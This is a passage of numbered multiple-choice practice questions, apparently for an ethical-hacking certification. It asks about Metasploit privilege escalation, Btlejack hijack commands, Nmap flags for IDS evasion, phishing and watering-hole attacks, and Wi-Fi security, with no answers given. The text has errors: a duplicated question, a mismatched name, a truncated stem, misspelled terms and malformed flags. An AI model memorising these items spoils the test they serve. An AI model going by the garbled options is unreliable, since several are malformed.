207) Which of the following Metasploit post-exploitation modules can be used to escalate privileges on Windows Systems?

Getuid

Getsystem

Autoroute

Keylogger

208) Gregory, a professional penetration tester working at Sys Security Ltd., is tasked with performing a security test of web applications used in the company. For this purpose, Gregory uses a tool to test for any security loopholes by hijacking a session between a client and server. This tool has a feature of intercepting proxy that can be used to inspect and modify the traffic between the browser and target application. This tool can also perform customized attacks and can be used to test the

randomness of session tokens. Which of the following tools is used by Gregory in the above scenario?

Wireshark

CXSAST

Nmap

Burp Suite

209) Geena, a cloud architect, uses a master component in the Kubernetes cluster

Architecture that scans newly generated pods and allocates a node to them. This

Component can also assign nodes based on factors such as the overall resource Requirement, data locality, software/hardware/policy restrictions, and internal workload

Interventions. Which of the following master components is explained in the above scenario?

Kube-controller-manager

Etd cluster

Kube-apiserver

Kube-scheduler

210) Joel, a professional hacker, targeted a company and identified the types of websites

Frequently visited by its employees. Using this information, he searched for possible

Loopholes in these websites and injected a malicious script that can redirect users from

The web page and download malware onto a victim's machine, Joel waits for the victim to

Access the infected web application so as to compromise the victim's machine.

Which of the following techniques is used by Joel in the above scenario?

MarioNet attack

Watering hole attack

DNS rebinding attack

Clickjacking attack

211) Which among the following is the best example of the third step (delivery) in the cyber kill

Chain?

An intruder sends a malicious attachment via email to a target.

An intruder's malware is triggered when a target opens a malicious email attachment.

An intruder's malware is installed on a target's machine.

An intruder creates malware to be used as a malicious attachment to an email.

212) Ben purchased a new smartphone and received some updates on it through the OTA

Method. He received two messages one with a PIN from the network operator and

Another asking him to enter the PIN received from the operator. As soon as he entered

The PIN, the smartphone started functioning in an abnormal manner.

What is the type of attack performed on Ben in the above scenario?

Tap 'n ghost attack

Phishing

Bypass SSL pinning

Advanced SMS phishing

213Clark, a professional hacker, attempted to perform a Btlejacking attack using an automated tool. Btle Jack, and hardware tool, micro:bit. This attack allowed Clark to hijack, read, and export sensitive information shared between connected devices. To perform this attack. Clark executed various btlejack commands. Which of the following commands was used by Clark to hijack the connections?

Btlejack 1 0x129/3244

Btlejack -d /dev/ttyACMO-d /dev/tty ACM2-s

btlejack -c any

Btlejack-f0x9c68fd30-t-m 0x1

214Roma is a member of a security team. She was tasked with protecting the internal Network of an organization from imminent threats. To accomplish this task. Roma fed threat intelligence into the security devices in a digital format to block and identity Inbound and outbound malicious traffic entering the organization's network. Which type of threat intelligence is used by Roma to secure the internal network?

Strategic threat intelligence

Operational threat intelligence

Tactical threat intelligence

Technical threat intelligence

215, Peter a system administrator working at a reputed IT firm, decided to work from his home and login remotely. Later, he anticipated that the remote connection could be exposed to session hijacking. To curb this possibility he implemented a technique that creates a safe and encrypted tunnel over a public network to securely send and receive sensitive information and prevent hackers from decrypting the data flow between the endpoints. What is the technique followed by Peter to send files securely through a remote connection?

DMZ

SMB signing

Switch network

VPN

216, An attacker decided to crack the passwords used by industrial control systems. In this Process, he employed a loop strategy to recover these passwords. He used one character at a time to check whether the first character entered is correct, if so, he continued the loop for consecutive characters. If not, he terminated the loop. Furthermore, the attacker checked how much time the device took to finish one complete password authentication process, through which he deduced how many characters entered are correct. What is the attack technique employed by the attacker to crack the passwords of the industrial control systems?

HMI-based attack

Denial-of-service attack

Side-channel attack

Buffer overflow attack

217, While performing an Nmap scan against a host, Paola determines the existence of a firewall. In an attempt to determine whether the firewall is stateful or stateless, which of the following options would be best to use?

-SF

-SX

-ST

-SA

218, George, an employee of an organization, is attempting to access restricted websites from an official computer. For this purpose, he used an anonymizer that masked his real IP address and ensured complete and continuous anonymity for all his online activities. Which of the following anonymizers helps George hide his activities?

[http://www.guardster.com\(a\)](http://www.guardster.com(a))

<http://karmadecay.com>

<https://www.wolframalpha.com>

<https://www.baidu.com>

219,Becky has been hired by a client from Dubai to perform a penetration test against one of their remote offices. Working from her location in Columbus, Ohio, Becky runs her usual reconnaissance scans to obtain basic information about their network. When analyzing the results of her Whois search, Becky notices that the IP was allocated to a location in Le Havre, France. Which regional internet registry should Becky go to for detailed information?

RIPE

LACNIC

ARIN

APNIC

220,An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.

What is the most likely cause?

The security breach was a true negative.

The security breach was a false positive.

Proper chain of custody was not observed while collecting the logs.

The network devices are not all synchronized.

221,Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not

Needed if he properly configures the firewall to allow access just to servers/ports, which

Can have direct internet access, and block the access to workstations. Bob

Concluded that DMZ makes sense just when a stateful firewall is available, which is not

The case of TPNQM SA. In this context, what can you say?

Bob is totally wrong. DMZ is always relevant when the company has internet servers and Workstations.

Bob is partially right. He does not need to separate networks if he can create rules by Destination IPs, one by one.

Bob can be right since DMZ does not make sense when combined with stateless Firewalls.

Bob is partially right. DMZ does not make sense when a stateless firewall is available.

222, Jacob works as a system administrator in an organization. He wants to extract the source code of a mobile application and disassemble the application to analyze its design flaws. Using this technique, he wants to fix any bugs in the application, discover underlying vulnerabilities, and improve defense strategies against attacks. What is the technique used by Jacob in the above scenario to improve the security of the mobile application?

App sandboxing

Reverse engineering

Social engineering

Jailbreaking

223, Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network. What is the type of vulnerability assessment that Morris performed on the target organization?

A, External assessment

B, Internal assessment

C, Passive assessment

D, Credentialed assessment

224, In an attempt to increase the security of your network, you implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know

How do you accomplish this?

A, Remove all passwords

B, Delete the wireless network

C, Lock all users

D, Disable SSID broadcasting

225, Sophia is a shopping enthusiast who spends significant time searching for trendy outfits online. Clark, an attacker, noticed her activities several times and sent a fake email containing a deceptive page link to her social media page displaying all-new and trendy outfits. In excitement, Sophia clicked on the malicious link and logged in to that page using her valid credentials. Which of the following tools is employed by Clark to create the spoofed email?

Evilginx

PLCinject

Slowloris

Pyloris

226, „An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up. What is the most likely cause?

The security breach was a true negative.

The security breach was a false positive.

Proper chain of custody was not observed while collecting the logs.

The network devices are not all synchronized.

227, Kate dropped her phone and subsequently encountered an issue with the phone's internal speaker. Thus, she is using the phone's loudspeaker for phone calls and other activities. Bob, an attacker, takes advantage of this vulnerability and secretly exploits the hardware of Kate's phone so that he can monitor the loudspeaker's output from data sources such as voice assistants, multimedia messages, and audio files by using a malicious app to breach speech privacy.

What is the type of attack Bob performed on Kate in the above scenario?

Man-in-the-disk attack

aLTEr attack

SIM card attack

Spearphephone attack

228, James is working as an ethical hacker at Technix Solutions. The management ordered James to discover how vulnerable its network is towards footprinting attacks. James took the help of an open-source framework for performing automated reconnaissance activities. This framework helped James in gathering information using free tools and resources. What is the framework used by James to conduct footprinting and reconnaissance activities?

OSINT framework

SpeedPhish Framework

WebSploit Framework

Browser Exploitation Framework

229, Calvin, a software developer, uses a feature that helps him auto-generate the content of a web page without manual involvement and is integrated with SSI directives. This leads to a vulnerability in the developed web application as this feature accepts remote user inputs and uses them on the page. Hackers can exploit this feature and pass malicious SSI directives as input values to perform malicious activities such as modifying and erasing server files.

What is the type of injection attack Calvin's web application is susceptible to?

Server-side JS injection

Server-side template injection

Server-side includes injection

CRLF injection

230, Which of the following allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to hack.

Malware analysis

Vulnerability analysis

Enumeration

Scanning networks

231, Juliet, a security researcher in an organization, was tasked with checking for the authenticity of images to be used in the organization's magazines. She used these images as a search query and tracked the original source and details of the images. which included photographs, profile pictures, and memes.

Which of the following footprinting techniques did Rachel use to finish her task?

Advanced image search

Meta search engines

Reverse Image search

Google advanced search

232, Ron, a security professional, was pen testing web applications and SaaS platforms used by his company. While testing, he found a vulnerability that allows hackers to gain unauthorized access to API objects and perform actions such as view, update, and delete sensitive data of the company. What is the API vulnerability revealed in the above scenario?

Business logic flaws

Improper use of CORS

Code injections

No ABAC validation

233, You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

`nmap -A -host-timeout 99 -T1`

`nmap -sP -p-65535 -T5`

`nmap -sT -O -T0`

`nmap -A -Pn`

234, What information security law or standard aims at protecting stakeholders and the

general public from accounting errors and fraudulent activities within organizations?

PCI-DSS

ISO/IEC 27001:2013

FISMA

SOX

235) Jack, a professional hacker, targets an organization and performs vulnerability scanning on the target web server to identify any possible weaknesses, vulnerabilities, and misconfigurations. In this process, Jack uses an automated tool that eases his work and performs vulnerability scanning to find hosts, services, and other vulnerabilities in the target server.

Which of the following tools is used by Jack to perform vulnerability scanning?

WebCopier Pro

NCollector Studio

Netsparker

Infoga

236, A Server-Side Includes attack refers to the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary code remotely. Which web-page file type, if it exists on the web server, is a strong indication that the server is vulnerable to this kind of attack?

.Stm

.rss

.Cms

.Html

237, The security team of Debry Inc. decided to upgrade Wi-Fi security to thwart attacks such as dictionary attacks and key recovery attacks. For this purpose, the security team started implementing cutting-edge technology that uses a modern key establishment protocol called the simultaneous authentication of equals (SAE), also known as dragonfly key exchange, which replaces the PSK concept. What is the Wi-Fi encryption technology implemented by Debry Inc.?

WPA2

WEP

WPA3

WPA

